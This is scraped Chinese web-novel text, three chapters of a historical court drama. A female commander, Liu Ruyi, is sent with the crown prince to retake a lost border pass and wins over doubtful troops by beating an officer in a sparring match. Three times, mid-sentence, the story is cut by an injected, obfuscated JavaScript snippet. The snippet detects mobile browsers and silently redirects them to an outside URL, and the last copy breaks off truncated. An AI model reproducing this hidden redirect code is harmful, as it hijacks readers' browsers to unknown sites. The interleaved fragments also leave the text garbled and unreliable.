随后，柳叶一脸疲倦地端起茶盏，啜一口清茶，茶气氤氲了其眉眼，“如今，也只能走一步观一步吧。现朝堂之上，党派林立，互相掣肘。只要圣上的心还在太子那，柳家就能苟活。” 皇权之争本就是残酷无情，既然早被卷入漩涡之中，就注定无法明哲保身，无法再给自己留条后路。唯只能寄希望于所拥一派愈来愈强。否则，唇亡齿寒，沦为他人刀俎之下鱼肉。 不过，柳叶眸光一闪，突然意识到，好像也并非如此，他们也不一定是在死胡同之中。 柳祈安叹了口气，“只是陛下终是狠不下心。旁人都能看清这官银失踪一案，陛下怎又不知胡榭是出来背锅的？” 柳叶平静地望着柳祈安，半晌，淡淡说道，“毕竟都是血脉之情，虎毒尚不食子，陛下舐犊情深也是情理当中。而且，现在追究下去，对我们也未必是好事。如今，其他党派相互掣肘约束，即是鹬蚌相争，渔翁得利，又能沉淀太子势力，慢慢壮大。” 柳祈安点头，“这一波看着是冲着四王而来。” 柳叶没回这句话，偏过头问道，“听说许宗的孙子也来京中了。” 柳如意愣了愣会，话题突然转变令其有些没反应过来，“是的。” 柳叶勾唇一笑，“那这下可就更热闹了……浑水更浑了。你说陛下，会将其放在哪里呢？” 沈暨白一到府邸时，许昭便迎了上来，“阿兄，怎回来的如此之晚，是发生何事了吗？” 沈暨白沉默了片刻，盯着他说道，“陛下安排你去兵部任郎中。” 许昭一惊，虽然他已然做好准备，但是真到得知这消息的时候，仍是有些震惊，“刑部郎中？”尤其是，如此月给提拔，更是少有。 沈暨白点了点头，拍了拍肩膀，“做好自己便是！无论是太仆寺还是兵部，万变不离其宗，而你也仅是换了个地方效忠陛下罢了。” 31. 洛关失守 暗夜一场雨落下，将酷夏残留的热气全部湮灭。 秋雨接连下了三天三夜，漫天漫地的雨水将郊外的道上弄得满是泥泞。 这日，天依旧灰蒙蒙的一片。大片大片压在京城上方，一场风雨似乎即将到来。 宫门外一战马飞奔而过。上头的侍卫灰头土脸，满脸皆是苍白。 “荒唐。我大乾的军饷是养了一群废物吗？竟然连一蛮夷小国都打不过。”与鞑靼战败的消息传来，景行帝一掌拍在龙椅上，怒不可遏道。 殿中寂静到落针可闻。 众大臣皆低垂着头，不敢发出一点声响。 景行帝脸色沉沉道，“岑携，你好歹掌管兵部，你来说下。” 兵部尚书岑携越众而出，跪倒在地，“洛门关为李洋将军镇守，只是其如今已到知命之年，虽对敌经验丰富，但体力难免力不从心，加之，鞑靼突然率大军袭击，打了我军一个措手不及。” 景行帝冷笑，拾起御案前的玉镇尺，向岑携扔去，“洛门关口，长城重要关隘，商旅往来咽喉要道！古曰，在其位谋其政，不在其位，不谋其政。你作为兵部尚书，如此重要关口，你竟派个五旬将军镇守？如此过失，该打该罚！” 玉镇尺砸在岑携脚边，发出哐当一响，随后四分五裂，碎了一地。岑携跪倒在地，哭得老泪纵横，“陛下，并非微臣不想任用年少武将。只是国库空缺，兵部在人力、物资上的钱吃紧，近几年甚至都没多余的军费征召军官。如今营中多为寻常百姓家中抓来的劳役，就单胆识就参差不齐，兵法啥的更不用提了。加之，军费少了，就遑论“论功行赏”，如此一来，将帅之才就更好了。” 景行帝愣了一会，半晌沉声道，“户部，却有此事？” 户部尚书范岩浑身一颤，双膝已经落在地上，掩泪道，“陛下，如今朝廷已是入不敷出，亏空严重。就单去年一年来说，国库就亏空八千六百万两白银，若是再不开源节流，恐难以为继啊。臣这么做也是万不得已呀。” 景行帝瞥了眼，未说话，殿中气氛就那般冷寂了半晌。灼灼气势，令谁也不敢直视这位帝王皇威，纷纷低垂着头。 都说帝王心难测，如此什么话也不说，更是令人生怖。 跪在地上的范岩额头更是沁满了薄薄一层汗。 良久，才不咸不淡说了句，“兵部银子日后不可缩减太过厉害。” 随后转头问道，“各位爱卿觉得当下如何是好？太子，你来说一说。” 赵奚闻言，思忖了一番，答道，“父皇，儿臣主张求和。鞑靼与大乾纷争已久，若放在平常，断算不上棘手。只是其此次攻占的洛门关口，又靠着土蛮一族。土蛮本就对我朝虎视眈眈，若是两方联手，加上洛门关口易守难攻之势，我军若是强攻，胜负难料。” 景行帝闻言，深思了一会，“其他爱卿觉得太子提议如何？” 众臣工无言，礼部右侍郎越众而出，“禀陛下，我朝于两年前重设武举，时间较短，武将目前仍是青黄不接之状。皇子中也只有八殿下、九殿下两位皇子熟悉军营，可率兵打仗。只是，现下八殿下镇守东海一带，若是突然喊回来，怕是海上倭寇又得闹事；九殿下又在西南一带，平定流寇，现在若是回来，怕是扰乱了军心，加上，西北一带地形也只有九殿下比较熟悉，而九殿下西南一役短时间也无法结束，若是随便找个将帅去，那边地势险峻，地形多变，若是如此，恐生变数。故微臣认为太子殿下分析透彻，微臣附议求和。” 景行帝听完，眉梢一挑，“柳卿也如此认为？” 柳叶脸色有些苍白，他内心其实主战不求和。 国库本就空缺，若是求和，那些求和的银两又该自何处而来？大殿之上的人，自诩读过圣贤之书，满口仁义道德，其实内心如明镜般，都清楚那些银子最终不过全落到布衣平民头上，如此一来，对于本就饥不裹腹的他们，无疑是雪上加霜。 只是人一旦到了高位，太多事情需要顾虑。今日之事，也是事发突然，未能先行同太子一议。 柳叶顿时觉得自己进退两难。进一步是太子，退一步是万千百姓。只是，如今夺嫡之争风云暗涌，暗潮涌动，一步差池皆可能满盘皆输，遂只能无奈说道，“臣也附议求和。” 天空响起一声闷雷，蓄在云层当中的雨簌簌落下，在深殿上笼了一层薄薄愁绪。 景行帝脸色一变，不悦道，“求和？说来说去，只有求和了吗？我偌大个大乾竟然找不到一将帅之才吗？” 此言一出，朝野俱震，众臣皆站在那心思各异，却谁也不敢上前，生怕触了圣上的霉头。 “宋煜如何？”景行帝侧目望向众臣，高坐之上，将殿中之人神情看得一清二楚。 殿内的气氛一时变得有些微妙。一个半归隐的老将军，虽战功累累，但是年过半百。朝中虽无将帅之才，但是勉强能打的还是能找出几位？况且，当初圣上无故将其遣送老家，如今又将人召回来，不怕人心生怨怼，无心应战吗？众臣未猜不透这位天潢贵胄的天子心思，一时不敢答话。 景行帝顿了顿，抬起眼皮望向李钧，“内阁觉得如何？” 内阁首辅李钧闻言一愣，洛门关失守就是因刘洋年老力衰、有心无力所致，陛下刚因此痛骂兵部尚书岑携，刘洋、宋煜两人年龄相仿，陛下又怎会真心觉得宋煜适合呢？而且，若是陛下真要钦点宋煜老将军，为何多次一举问内阁，直接交由兵部安排便是。 李钧猛然明白圣上这番话的用意，那个人不好自其口中说出，只能借内阁之口来说。同宋煜有关系的，又令圣上有些顾忌的。 李钧眸光一闪，快步上前，拱手一揖，“陛下，臣认为大理寺寺正柳如意是更好人选。其师承宋将军，随宋将军南征北战多年，作战经验亦是丰富。” 圣上略作思考了一会，“柳卿确实不错，文武双全，前阵子不是刚破了官银失踪案吗？颇有其父风范。”说完，又看着柳叶，含笑问道，“柳卿觉得如何？” 柳叶跪地谢恩，“得陛下赏识，是小女之幸。” 景行帝点了点头，“好，那就定大理寺寺正柳如意率兵出征。”随后，又瞥了眼赵奚，淡淡说了句，“太子也一同去吧。” “儿臣接旨。” “臣接旨。” 雨点渐小。 景行帝望着殿外茫茫烟雨，道，“七曜日启程吧。”随后，大手一摆，“退朝吧。” 本就是年底，洛门关一役一来，令朝中各部各寺更加繁忙，礼部、兵部最甚。 夜已深，四下皆是黑糊糊一片，唯六部公堂内仍灯火通明。 值夜的内侍提着风灯将柳如意往户部引。宫殿深深，一道疾风刮过，在竖立的宫墙上留下一声咆哮，令人生寒。 不多时，户部已至。 值班的小史一见，连忙结果内侍手上的风灯，将柳如意往内堂引去，“柳大人，今日如此晚来，可是有什么急事？” 柳如意摇了摇头，“今日未能寐，见户部灯还亮着，想着马上就要出征，便想来问下军资军费之事。” 那小史听了这话，笑道，“正巧，今日刚好谢大人当值，大人算是来对了。” 房门“吱呀”一声被推开。小史将人引了进来，便随即转身退及门外。 谢韫坐于案前，眉头紧蹙。 柳如意见状，斟了杯茶，递上，“可是军费筹集棘手？” 谢韫抬起眼眸，“洛门关军费昨日便已筹备齐了。无非是东拼西凑，加上圣上发话削减修寺等费用，倒也不是难事。” 柳如意纳闷道，“那是为何事烦心？” 谢韫皱眉，“我在筹措经费时，无意翻到了胡平县的账册，发现了些端倪，账册里头被人动了手脚，账目对不上。” 柳如意愣了愣，之前户部报上去失踪的官银就是十万两，在当铺也是搜到的十万两官银，如何会对不上，“不止十万两。” 谢韫点了点头，将账册递给柳如意，上头被朱笔勾了几个圈，“要是只是粗浅的去加这几个数字，确实只有十万两。可是，你若是细细看这账目明细，修缮费用重复列支至这三个品目当中，而且，这儿也有问题……重新算下来，约莫损失百万两官银。” 柳如意愕然，案件始作俑者一个已然身亡，一个枭首示众，现在要查，怕是也无从查，如此大数量的官银究竟到哪了，“陈牵仍湖广户部郎中也就一两年，竟侵吞百万两官银，如此一大笔，他们又是转移到哪呢？” 谢韫摇了摇头，“官银不可流通于市，只可熔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537384|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎银所用。就算偷偷背着官府熔铸，如此大数目，很难不引起注意。” 两人刚想说什么，门外一小史推门进来禀告，说是兵部来人了。 来人正是兵部郎中许昭。 柳如意、许昭之前见过面，这么晚在户部撞见，彼此间都有些诧异，面面相觑了一番后，瞬间明白了彼此的意图。 许昭开口先行解释道，“我是来问出征的军费和粮草的。本想下午早些来，被手上的急事给耽搁了。恰巧，听闻今日谢大人夜值，遂来碰碰运气。” 柳如意闻言，啧了一声，“刚巧，我也是来问这个的。银钱、粮草，谢大人也均已备好了。” 三人又讨论了些细节后，大致谈妥后，便提着风灯离去。 由于景行帝早年定下的规矩，三品以下大臣，不得乘轿进宫，故两人需要穿过长长甬道，到午门乘坐马车。 已近子时，夜风有些微凉。 柳如意、许昭并排而走，微风吹起柳如意轻薄衣衫。本就单薄的身体被映得更加单薄。 见状，许昭解下身上氅衣，递了过去，“夜深露重，小心着凉。柳大人可是要率兵出征，可得当心。” 柳如意望着暗夜中的层层宫殿，伸手接过，批在了身上，“谢过许大人。” 翌日。 柳如意处理完案上的卷宗后，突然瞥见架上的氅衣。遂抬头望着门外的天色，发现暮色已然暗沉。 于是回里屋换了件常服，亟亟拿起架上的氅衣，朝门口候着的马车走去，“去沈府。” 沈府外的小厮一听说来人是大理寺寺正，便急忙进府禀告。 不一会，风风火火赶出来一人，一边热情将柳如意往里头迎，一边偷偷打量柳如意，明眸皓齿、眉目清丽，不愧是大人看中的姑娘。 此人正是管家李谬，自从听表少爷许昭讲了其在安平县经历后，愈发觉得此人聪慧敏锐，配得上他家大人。而且，听表少爷的意思，自家大人似乎对人家姑娘也有意。如此一番，李谬越瞧着柳如意，越心生喜欢。 可奈何李谬眼神过于热情，盯着柳如意有些不好意思，“许大人在府中吗？” “许大人？”李谬纳闷，找许昭的？低眸一看，发现起手中拿着一件氅衣，正是许昭的那件，猛然间便明白了来意，遂抬头假装望向外头天色，“这个时辰估摸着也该下值了，怕是在路上耽搁了，大人不如先到正堂里稍作片刻。” 柳如意本想拒绝，无奈对方太过于热情，还未话落，便已招呼小厮准备茶点。加上，许昭既然马上回府，自是归还氅衣，亲自归还也更礼貌些。 李谬提壶为柳如意斟了杯热茶，“这个茶老爷自己采得，是开岁年初的第一茬，望公子莫嫌怠慢。” “怎么会呢？能喝上沈大人亲手采的茶，简直三生有幸。”柳如意受宠若惊，苦笑道。沈暨白百忙之中还去采茶，定是爱茶惜茶的人。若是被他知道自己辛苦采得那几两茶，被她喝了，会不会因此记恨自己，到时候随意抓她小辫子，给她扣分。 顿时，柳如意觉得口中的清茶格外烫嘴。 李谬又呈上了些糕点，边同柳如意搭话，边时不时瞥眼望向堂外。大人不是今日会早些回府吗？怎么还回来，要是晚了，自己可是无力留不住柳大人了。 所幸没过多久，沈暨白便回来了。 沈暨白刚回府，就听说大理寺来了一人，遂直接朝正堂走去。 柳如意听闻脚步声，放下了手中茶盏，自堂内往厅外望去，刚好瞧见下值回来的沈暨白。 两人四目相对，或是因为柳如意喝茶被抓了个正着，只见其急忙从凳子上站了起来，“沈大人，我是下值后来的……是来还许大人氅衣的。” 沈暨白瞥了眼一旁的氅衣，点头嗯了一声，不再说话。 “李管事说许大人马上就回来，我在这等他回来后，还了氅衣就走。” 沈暨白淡淡瞥了眼李谬，心中已明了，随后，又转头看向柳如意，“兵部临时有些事，他今晚不回来了。” 柳如意静了片刻，致歉道，“那烦请大人晚些将衣服转交给许大人。” “好。” 柳如意转身欲离府去，被沈暨白喊住，“既然来了，你就随我说说洛门关一役吧。” 32. 质疑风波 书房内，烛光幽幽，将来人的身影拉得修长。 沈暨白随手将身上的氅衣挂在衣架上。 这几日忙着处理安平官银案涉案人员，令其有些疲惫，眼底已是层厚厚乌青。 “一切可准备妥当了？” 柳如意点点了头，“现下只差敕令了，兵部那边在尚在纠结裨将军人选……” 沈暨白道，“明日兵部就会将拟好的敕令呈给圣上，届时许昭陪你前去。” 柳如意一愣，一时不解他的意思，茫然中点了点头。 许昭虽出生于书香世家，却自幼习武，相比兵部纸上谈兵之人，确实是较好的人选。加上，其是旧相许宗之孙，或多或少可帮忙稳定涣散的军心。 只是，其贵为五品兵部职方清史司郎中，做她的副手，于礼上不妥。 沈暨白见状，淡淡道，“圣上的意思。” 一阵寒风自窗外刮进，吹得案上的琉璃灯发出噼里啪啦爆芯声。 烛光虽风左右摇曳，在沈暨白脸上留下晦暗灯影。 沈暨白沉默了片刻，“你可知李将军为何会败？” 柳如意垂下眸子，所谓的年迈体弱，不过是糊弄旁人的说辞，李将军本就熟悉洛门关情况，且常年同鞑靼打交道，怎能说败就败，除非只能军中出了叛徒。 既然自己能看出，历经沙场的景行帝又怎么会看不出来？ 若是如此，那为何景行帝又在大殿之上对兵部尚书岑携大发雷霆。柳如意脑中突然闪过景行帝那句“不在其位，不谋其政”，立马领会了圣上的恼怒，原来是杀鸡儆猴。 那若是如此，许昭确实是把好的利刃。刚入朝堂，还未被人拉拢，有所站位，自然是公正无私。 陛下不信任他，甚至不信任太子。 那此次派太子出征，仅仅只是为了锻炼？还是考验？ 越想越觉得愕然。心中万般猜想，只觉得荒诞不经，柳如意望着沈暨白，嘴张张合合了多次，最终千言万语化为一句，“那大人，觉得我该如何？” 沈暨白抬眼望着他，淡淡说了句，“既然敌人在明，友未定，何不引友杀敌？不出自力，便能以损推演。至于其他，我也尚陷于其中，不知作何解法。” 这一路，荆棘遍地，明里暗里都是刀光剑影，处处充斥着各种阴谋阳谋。而，柳家作为东宫一党，更是位于风口浪尖，是其他党派攻击的众矢之的。 他明显可以置身事外、冷眼旁观，却多次提醒自己，甚至多次救自己于危难，遂又抬起眼，对上那双眉目清冷的脸，朝沈暨白深深一揖，“柳某，多谢沈大人教诲之恩。” 沈暨白默不作声的看着他，幽幽烛火落在其眼中，烈火灼灼。 沈暨白觉得内心仿佛被人紧紧扯了下，莫名涌进了些不知名的情绪，“全是为了宋将军恩情。况且，都只是顺手为之。” “我怕，欠下恩情太多，日后无法偿还。大人若是想报救命之恩，早就报了。”昭昭如日月之明，离离如星辰之行。他是高不可攀的明月，不应落入这凡尘，被这世间浑浊玷污。 沈暨白“嗯”了一声，乘小厮开门掌灯添油之际，望向门外复又下起的小雨，吩咐道，“雨夜朦胧，在外头多放几盏油灯吧。” 小厮应下后，便又掩门离去。 沈暨白自书案上取出一锦囊，递给柳如意，“陷入迷途，无路可走时，再打开吧。”说完，摆了摆手，“天色已晚，又已落雨，你也早些回吧。” 十月十三日，天还微亮。 天穹早已露出的几分淡色霞光。洒落的晨阳落在将士们的铠甲之上，发出粼粼金光。 一声号角响彻云霄。 池门外，兵卫列阵而战。 最前头站着赵奚，后头左右各站着柳如意、许昭两人。 内侍取出道诏书，“奉天承运皇帝诏曰：鞑靼恶意抢占洛平关，荼毒生灵，蹂躏州县，所到之处，无恶不作。朕特命赵奚为抚军大将军兼监军、柳如意任大统帅、许昭任裨将军。从军一切事宜需由三位将军共议。钦此。” “臣等领命。” 说完，景行帝亲手持斧钺，郑重地递给赵奚，“大乾靠你了。” 赵奚闻言，撩袍单膝跪在地上，“儿臣定不负父皇期望。与将士们戮力同心，收复失地，保我山河，佑我子民。” 众将士闻言，皆跪地稽首道，“臣等誓与殿下共进退，收复失地，保我山河。” 鼓声阵阵，赵奚等人一口饮尽内侍呈上的烈酒，随后翻身上马，挥鞭而去。 随后，众将士均转身整齐离去，踏马扬鞭之声如雷鸣般划破云空。 待军卫越行越远，最后变为一渺茫小点，与匆匆叠嶂的远山重合，景行帝低叹了口气，对着身边的内侍说道，“你说，朕派太子前去出征，这一决定是对还是错？” 内侍闻言，谄媚一笑，尖着声音答道，“老奴跟了主子这么多年，主子英明神武，又何时做过错的决定……主子这也是为了磨砺太子，用心良苦。” 景行帝闻言，收回远眺的眼光，手里轻轻盘弄着玉扳指，淡淡道，“回宫吧。”作为万人景仰的帝王，他身上担子太重，很多决定他不能不考虑到他的子民。如今朝局危矣，山河破碎，佞臣当道。为了黎民苍生，亦是为了江山社稷，继承大统的理应德才配位，有胆有谋，为众人信服。 越往西走，越觉得气温骤降的厉害。 赵奚等人到洛门关外，天上骤降风雪。 候在账营外守卫的小卒，瞧见大批卫兵整装来袭，又见队伍中写着“乾”字的旌旗随风高扬，立马便猜出了来人，亟亟迎上来，行礼道，“微臣拜见几位大人。” 赵奚翻身下马，点了点头，边走边问道，“主将呢？” 小卒顿时脸色煞白，跪在地上求饶道，“回太子殿下，椹将军正在军营中同将士们讨论布阵事宜。因错估了殿下抵达时间，这才尚未出来迎接殿下，请大人切莫责怪将军。” 赵奚点了点头，“无事，我们轻装出行，脚程便快了些。如今战事紧张，无需注重太多虚礼，都是为了大乾社稷。”遂摆了摆手，“带我去见椹将军吧。” 军帐内，众将士围在沙盘旁，气氛低沉，各个都是低垂着头。 “据斥候来报，今早鞑靼又在洛门关口整军，怕是近期会重新发起一波攻势；而一旁的土蛮见状，更是蠢蠢欲动，估计也想趁火打劫。若是我军被左右夹击，情况甚是不妙啊。” 又有一人附和道，“是啊，李洋将军被杀，我军士气大跌，如今军中满是惶恐不安。” …… 赵奚等人走到帐前，将众人的话全听了去。 小卒正欲进门禀告，被沈奚一个手势给制止了。 帐内又有人小声窃语，“朝廷这次派来的统帅，听说是个女娃？会打仗吗？识兵法吗？不待在闺阁好好学刺绣，跑到这添啥乱？” “嘘，太子妃妹子呢，小心被人听到了，要不你可就惨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537385|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “怕啥呢，她敢来，我就敢说。” 账外的柳如意闻言，掀开帘笼，冷啸的寒风顺势灌进帷帐，冷冷拍打在众人脸上。 顿时，帐中陷入一片冷寂当中。 须臾，坐在主位的椹晨急忙站起来，满是歉意，“不知道大人如此早到，有失原因，还请大人恕罪。” 分毫不提刚才之事，柳如意心中已明了，怕是椹将军也觉得其是靠关系而来，将不配位。 柳如意扫了一眼，见众人脸上皆是不屑，厉声说道，“我，柳如意，八岁随武师习武；九岁跟随宋将军习兵法，熟读《孙子兵法》《兵经》等书；十二岁随宋将军征战沙场，平倭寇、战南蛮。十四岁，率兵攻打西南流寇，连取三位贼寇头目首级，以少胜多，打得对方落败而逃。” 话语掷地有声，堵得那些人哑口无言。 众人面面相觑，见柳如意眸色阴沉，椹晨赶忙转圜道，“大人，他就是口快……在军中呆久了，口无遮拦惯了，请大人莫要责怪他。要是真要罚的话，就罚我吧，都怪我管理无方。” “大人……”众人欲言又止，皆抬眼望着柳如意。 果真是个老狐狸，竟然威胁起自己。 只是这时，她还不能甩脸色给椹晨，其是军中的老人，若是因此处罚了他，本就涣散的军心将崩裂地一发不可收拾。 只是，她现在犹如被人架在架上，上下两难。若是退让，则失去军威，谈何统帅三军。若是进逼，则乱了军心，谈何谈兵作战。 柳如意目色冷清地望着众人，眉头轻挑，一双幽冷如潭水的眸子微微眯起，“若是有谁不服，可以账外徒手单挑。若败，无需各位多说，我亲自向陛下请辞统帅一职。” 这时，帐外传来雄浑的笑声，“本宫这妹子，可是拼命十三郎。从小自知体力不如男子，便起早贪黑练习马步、刀剑，每日如此，风雨无阻。对自己可狠了。” “臣等见过太子殿下。”帐内众人俯身跪拜。 赵奚一边扶起椹晨，一边伸手示意众将士轻身，“这些日子，辛苦椹将军了。圣上也知边境不易，特命我此次前来务必替他犒劳三军。同时，圣上还说，此役若是得胜归去，众将士无论官职大小，皆有赏赐。” “陛下圣明，我等替将士们叩谢圣恩。”众人又是掀袍跪地。 赵奚望着一地跪在地上的将臣，语气一转，“三人成虎的道理，想必各位都是知道。为了各位军功着想，本宫今日便定下一条规矩：以后军中凡是有妄议军情者，非议主帅者，散播谣言者，扰乱军心者，格杀勿论。” “臣等遵旨。” 说完，指着刚才口出狂言的将士，“至于你……背后非议主帅……” 知道赵奚接下来就要处罚那人，为其立威，柳如意急忙说道，“殿下，今日风雪正好，不如我同他空手比试一番，也当是提前热个身。” 沈奚点了点头，“也好。” 跪倒在地的那人闻言长舒一口气，不过，下一秒心又被提至嗓子眼处，瞥了眼柳如意，这姑娘虽眉眼英气，正常麦色皮肤，但是对比军中壮汉，终还是细皮嫩肉了些，能抗得住自己的拳掌吗？若是将其打残了，太子殿下是不是仍会牵怒自己。 那人还在琢磨如何糊弄比武，柳如意似是瞧出了他的心思，淡淡说了句，“比赛前，按照军营规矩吧，签订张生死状吧，死伤无论。” “是。”听到此言，那人七上八下的心才得以安定下来。 33. 原是旧识 外头还在落雪，冰凉的雪粒子随着呼啸的狂风冷冷打在校场操练的士卒脸上。 柳如意大步走到一颗槐树下面，只见叶已落完，只余老枝弯札，上头积了层薄薄的白雪 这些日子，因落败事情，将士们皆是忧心重重，终日亦是愁眉苦脸。 后听说朝廷派太子殿下亲自出征坐镇，却是雀跃了一阵。但是，随后又听说统帅是位女将，刚涨起的士气又如纸球般瘪了下去。 “听说了吗？朝廷派下来的那位女统领要和马校尉比试。” 一传十，十传百……军营之中都往这儿赶来，想目睹柳如意真正的实力。须臾间，槐树旁已围上一堆人。 马校尉脱了上衣，光着膀子准备上台，被椹晨一把拉住，其小声在耳边说道，“注意分寸，点到为止。别弄得他们下不了台。” 马校尉点了点头，随后信心满满地朝台上走去。 柳如意扫了眼四周，将众人眼中的不屑一览眼底。很好，柳如意嘴角轻轻一勾，她就要这种效果。 随后，足尖轻点，跃上比舞台。 两人互相伸手朝对方一揖。 伴着一声啰声，柳如意衣袂偏飞，身形一闪，直直朝马校尉扑面而去。 届时，马校尉心中还在思考：如何放水，才显得不刻意？谁料对方身影极快，直至接近其身，才堪堪反应过来，遂亟亟侧身往旁边一闪。 柳如意亦是瞧出了他的出神，在近其身时，又收了几成力，掌不轻不重掠过马校尉肩上，“马校尉，小心了！” 马校尉闻言，心中升起几分震惊，亦有几分惊喜，竟然不是花拳绣腿，冲刚才近身的阵势来看，倒像是有几分真功夫，遂打起精神，开始朝对方进攻，试探虚实。 于是，轮动右臂，欺身向前。柳如意迎面接过，接力打力，将拳劲卸去。 二人一来一回，几个回合下来，一时间相持不下。 多有招式都被柳如意拆解，马校尉有些心急，抬起右脚，朝着其面中劈来。 柳如意见状，向后撤步，身体朝右一侧，使出一记“镜花水月”，正中对方腰腹部。 “我输了。”马校尉单膝跪下，已是心服。 众将士见此，亦是惊，呆呆愣在原地。 不知人群中，谁喊了一声“好”。众人皆回过神，纷纷拍手叫好，统帅如此，士卒何求。 柳如意一把挽起马校尉，合手一揖，“承让了。”随后，转身对满场的将士高声说道，“功名只向马上取，真是英雄一丈夫。各位都是热血豪情之辈，满怀一腔热血，浴血沙场，只为建功立业，报效祖国。如今沙河破碎，洛门关被贼人所占，情况危急，愿众将士同我等一起，紧跟太子殿下，收复失地。” “精忠报国，收复失地！”众将士众口齐声，响彻九霄。 沈奚见状，伸手郑重一揖，“本宫代大乾社稷、代大乾百姓谢过各位。” 漫天风雪为苍生。风雪划落到柳如意的衣襟内，却不觉得冷，只觉内心滚烫，或许，武将便是这般纯粹，故即使在严寒之地，也能初心如一，矢志不渝。 帷帐内。柳如意刚脱下已被大雪润湿的氅衣。 青衣就递上一碗热汤，“主子，这儿简陋，勉强煮了些姜汤，可别着凉了。” 柳如意伸手接过，仰头一口喝下，刚要说什么，账外进来一人。 “看来我来的正巧，刚好可以讨上一杯姜茶。”许昭眨了眨眼，调侃道。 青衣又盛了碗，递给许昭。 许昭接过，勾唇打趣道，“想我当时忙前忙后，竟是为她人做嫁衣。” 柳如意笑道，“喝也堵不住你的嘴。”说完，又问道，“许大人，这个时辰过来可是为了何事？” 外头已是暮色暗沉，唯有天上繁星几点。 “夜里，闲来无事，有些无聊。而且，这里我只认识你一个。” 柳如意啐了一口，“说实话。” 许昭脸上挂着笑，摊手道，“好吧。临行时，表兄嘱咐让我照顾你，怕你……不适应，被人欺负了去。” 长夜寂静，柳如意愣了愣，有些茫然地看着许昭。滴水之恩，必当涌泉相报。沈暨白究竟将宋将军之恩看得何等重要？以至于对他的徒弟亦是青眼相待，照顾有加。 许昭“啧”了一声，“好奇心害死猫啊。本不打算说的，就怕你会多想。”说完，又夸到，“不过，你确实比之前沉着冷静、从容有度了不少，更有大将风范。” 柳如意知道他所指为比武一事，遂开口回应道，“虽惩戒马校尉，更为简单，但这能堵住他一人之口，却堵不住众人之口。而且，今后也是率他们征战鞑靼，都是兄弟。若是不能真正使他们信服，又如何能为将帅呢？” “果真长大了。” 柳如意又是一愣，疑惑问道，“长大了？我们继安平县初见才过不久，也没变化如此之大吧。” 许昭摇了摇头，笑道，“宋将军和老爷子是旧识。每次去找大父，定是要提起你的。不过……”许昭顿了顿，在柳如意眼神的逼问下，又接着说道，“不过，小时候，我们还真的见过。” “嗯？”柳如意疑问道。为何她不记得有去过荆州。 “在京都……宋将军的府邸……吃了甜点的。” 柳如意听完才缓缓想起些。 九岁时，她被送至宋将军那里练武。将军知她练完武后易饿，又知晓嗜好甜食，遂每日都会给其准备一旁糕点，供饱腹。 那日，她同往常般，按例到正堂吃甜食。 却不曾想，正堂的座椅上坐着一人，眉目俊美，脸儿虽还有些婴儿肥，但端坐得一本正经。接着，随着眼神下移，柳如意瞧见其手上的半块糕点，“哇”地一声哭了出来。 哭声凄惨，很快就引来了不少人。 一来，便瞧见女娃哭倒在地，而一旁的男娃似也被吓到般，愣愣拿着半块甜点，呆在原地。 事发突然，众人见此，犹如丈二和尚摸不住头脑，鉴于两位都是老爷的“贵宾”，只得“兵分两路”哄起二位主子。可是，对方似乎不吃哄，越闹越“凶”，哭声亦是越来越凄惨。无奈之下，小厮只能跑去禀告宋煜。 同宋煜一起来的，是位儒雅的中年男子。 宋煜目光扫了圈现场，直至落到男童手上的半块糕点，顿时明白了事情原委，定是新来的小厮不知，将给如意的糕点招待男童，这才引起误会，“意儿乖，你的糕点在厨房呢。” 后，事情也不了了之，待他吃完糕点回来，那男童随儒雅的男子一块走了。 尘封的尴尬回忆突然袭来，令柳如意觉得有些羞赧，红着脸问道，“那人是你啊？” 许昭摇了摇头，“那倒不是。” 柳如意尴尬一笑，“不会是沈大人吧？” 许昭点了点头，“嗯。”接着又眉飞色舞道，“我跟你说，当初，宋将军还想着牵线搭桥，给你两定娃娃亲呢，不过当初家中有事，大父走得急，才让这事没了下文。 柳如意又是尴尬一笑，只想找个洞口，将自己埋进去。 “不过，我还真有个疑问，你一个千金小姐，吃穿不愁，为何吃苦去学武呢？” 萧瑟的风自山林吹出，却被帷帐堪堪给隔绝在外，留下阵阵哀吼。 帐内烧着炭火，窜腾的火花，噼啪作响。 柳如意低下头，陷入了深思，那日好似是个雨天，不过风倒是如同这般呼啸不止。 “若是太过痛苦，便别想了。”许昭见其眉间紧蹙，似是陷入了一段痛苦回忆。 “景行十五年，我同阿兄闹了矛盾，负气之下，便拿着包裹欲下江南。” 那年，许昭有所记忆，那年夏日，江南突发洪汛，淹没万顷良田，令许多平民流离失所。 街道上，饿殍遍野。 虽有官府开仓放粮，可是几万来人，就粮仓里的那些米怎么够呢。 “我沿着官道走，越走越震惊。路上皆是饿死、病死之人，更有甚者，食生人之肉，他们已经够苦了。无奈，天不怜他们。” 柳如意指尖微白，咬牙切齿道，“那些畜生。他们本就够苦了，竟然还劫他们的活命粮。” 这事情，许昭也有些耳闻，当初官差奉命将上百石粮食运到江南救灾。谁料，路上突出倭寇，粮食被一抢而空。 不过，因之前景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 